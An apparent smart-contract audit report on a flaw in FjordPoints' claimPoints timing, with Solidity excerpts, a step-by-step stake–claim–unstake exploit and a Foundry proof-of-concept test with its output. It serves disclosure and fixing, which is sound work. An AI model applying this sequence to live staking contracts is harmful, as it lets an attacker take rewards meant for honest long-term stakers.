Summary
The FjordPoints contract contains a vulnerability in the claimPoints
function that allows users to accumulate a unfair amount of points when a user does staking and unstaking within the same epoch. This exploitation is possible when at least one epoch has passed since the last point distribution.
Vulnerability Details
Relavent code:
distributePoints
claimPoints
In FjordPoints, the distributePoints function is called via the checkDistribution modifier, which only distributes points if sufficient time has passed:
function distributePoints() public {
if (block.timestamp < lastDistribution + EPOCH_DURATION) {
return;
}
if (totalStaked == 0) {
return;
}
uint256 weeksPending = (block.timestamp - lastDistribution) / EPOCH_DURATION;
pointsPerToken =
pointsPerToken.add(weeksPending * (pointsPerEpoch.mul(PRECISION_18).div(totalStaked)));
totalPoints = totalPoints.add(pointsPerEpoch * weeksPending);
lastDistribution = lastDistribution + (weeksPending * 1 weeks);
emit PointsDistributed(pointsPerEpoch, pointsPerToken);
}
The claimPoints function in FjordPoints allows users to claim their pending points:
function claimPoints() external checkDistribution updatePendingPoints(msg.sender) {
UserInfo storage userInfo = users[msg.sender];
uint256 pointsToClaim = userInfo.pendingPoints;
if (pointsToClaim > 0) {
userInfo.pendingPoints = 0;
_mint(msg.sender, pointsToClaim);
emit PointsClaimed(msg.sender, pointsToClaim);
}
}
In FjordStaking, users can stake and unstake within the same epoch:
function stake(uint256 _amount) external checkEpochRollover redeemPendingRewards {
newStaked += _amount;
points.onStaked(msg.sender, _amount);
}
function unstake(uint16 _epoch, uint256 _amount) external checkEpochRollover redeemPendingRewards {
if (currentEpoch == _epoch) {
newStaked -= _amount;
}
points.onUnstaked(msg.sender, _amount);
}
The vulnerability arises because a user can:
Wait for a period just after an epoch boundary since lastDistribution.
Stake a large or any amount of tokens.
Trigger point distribution.
Claim points.
Unstake their tokens within the same epoch.
This allows the user to accrue points for the full epoch while only having tokens staked for a very short time.
POC
In existing test points.t.sol
, add following test
function testExploitClaimPoints() public {
address honestUser1 = address(0x2);
address honestUser2 = address(0x3);
address attacker = address(0x4);
uint256 stakeAmount = 10000 ether;
uint256 points = fjordPoints.pointsPerEpoch();
console2.log("points alloted for epoch", points);
vm.startPrank(staking);
fjordPoints.onStaked(honestUser1, stakeAmount);
fjordPoints.onStaked(honestUser2, stakeAmount);
vm.stopPrank();
skip(1 weeks - 1 minutes);
vm.prank(staking);
fjordPoints.onStaked(attacker, stakeAmount);
skip(2 minutes);
fjordPoints.distributePoints();
vm.prank(honestUser1);
fjordPoints.claimPoints();
vm.prank(honestUser2);
fjordPoints.claimPoints();
vm.prank(attacker);
fjordPoints.claimPoints();
vm.prank(staking);
fjordPoints.onUnstaked(attacker, stakeAmount);
uint256 honestUser1Points = fjordPoints.balanceOf(honestUser1);
uint256 honestUser2Points = fjordPoints.balanceOf(honestUser2);
uint256 attackerPoints = fjordPoints.balanceOf(attacker);
console.log("Honest User 1 Points:", honestUser1Points);
console.log("Honest User 2 Points:", honestUser2Points);
console.log("Attacker Points:", attackerPoints);
assert(attackerPoints == honestUser1Points && attackerPoints == honestUser2Points);
console.log("Exploitation successful: Attacker received the same points as honest users while staking for much less time");
}
Run the test in terminal forge test --mt testExploitClaimPoints -vv
and following output will be shown:
[⠒] Compiling...
[⠒] Compiling 2 files with Solc 0.8.21
[⠑] Solc 0.8.21 finished in 1.49s
Logs:
points alloted for epoch 100000000000000000000
Honest User 1 Points: 33333333333333330000
Honest User 2 Points: 33333333333333330000
Attacker Points: 33333333333333330000
Exploitation successful: Attacker received the same points as honest users while staking for much less time
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.27ms (218.46µs CPU time)
Impact
Users can accumulate points disproportionate to their actual staking duration.
It undermines the incentive structure designed to reward long-term stakers.
It can lead to an unfair distribution of points, potentially devaluing the points for honest, long-term stakers.
If points have governance or other utility value, this could lead to centralization of power or economic advantages.
Tools Used
Manual Review, Foundry
Recommendations
Consider having minimum waiting period, before users can accrue / claim rewards.
Similar to fjordStaking contract implementation for claiming reward should be fine.